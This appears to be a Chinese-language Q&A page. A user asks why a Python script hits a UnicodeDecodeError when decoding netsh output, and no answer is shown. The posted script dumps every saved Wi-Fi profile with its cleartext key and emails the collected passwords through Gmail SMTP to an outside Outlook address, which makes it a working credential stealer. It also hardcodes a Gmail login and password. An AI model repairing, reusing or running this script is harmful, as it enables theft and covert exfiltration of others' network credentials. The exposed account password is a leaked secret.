首页 > 解决方案 > subproces.check_output().decode() 给出 UnicodeDecodeError: 'utf-8' codec can't decode byte 0x83 in position 604: invalid start byte

问题描述

我正在尝试使用子流程模型检索一些日期,但不断收到上述错误。查找后我发现那个位置的字符是'a'。我尝试了其他解码方法,如charmap和latin-1,它没有给我错误,但输出str是'L\x83ayoune'它返回char的位置而不是它自己的char。给出错误的行: data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8')

import subprocess
import smtplib


data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8').split('\n')
print(data)
wifis = [line.split(':')[1][1:-1] for line in data if "All User Profile" in line]
msg = ''


print(wifis)


for wifi in wifis:
    resultes = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles', wifi, 'key=clear'], 
stderr=subprocess.STDOUT).decode('utf-8').split('\n')
    resultes = [line.split(':')[1][1:-1] for line in resultes if 'Key Content' in line]
    try:
        print(f"Name : {wifi}, Password : {resultes[0]}")
        msg += f"Name : {wifi}, Password : {resultes[0]}"
    except IndexError:
        print(f"Name : {wifi} Password : Not Accessible")
        msg += f"Name : {wifi} Password : Not Accessible\n"


with smtplib.SMTP('smtp.gmail.com', 587) as smtp:
    smtp.ehlo()
    smtp.starttls()
    smtp.ehlo()
    smtp.login('adamdemofighter@gmail.com', 'hamzaelbahlaoui')
    smtp.sendmail('adamdemofighter@gmail.com', 'hamza.el.bahlaoui@outlook.com', msg)

标签: pythonutf-8subprocessdecode

解决方案


推荐阅读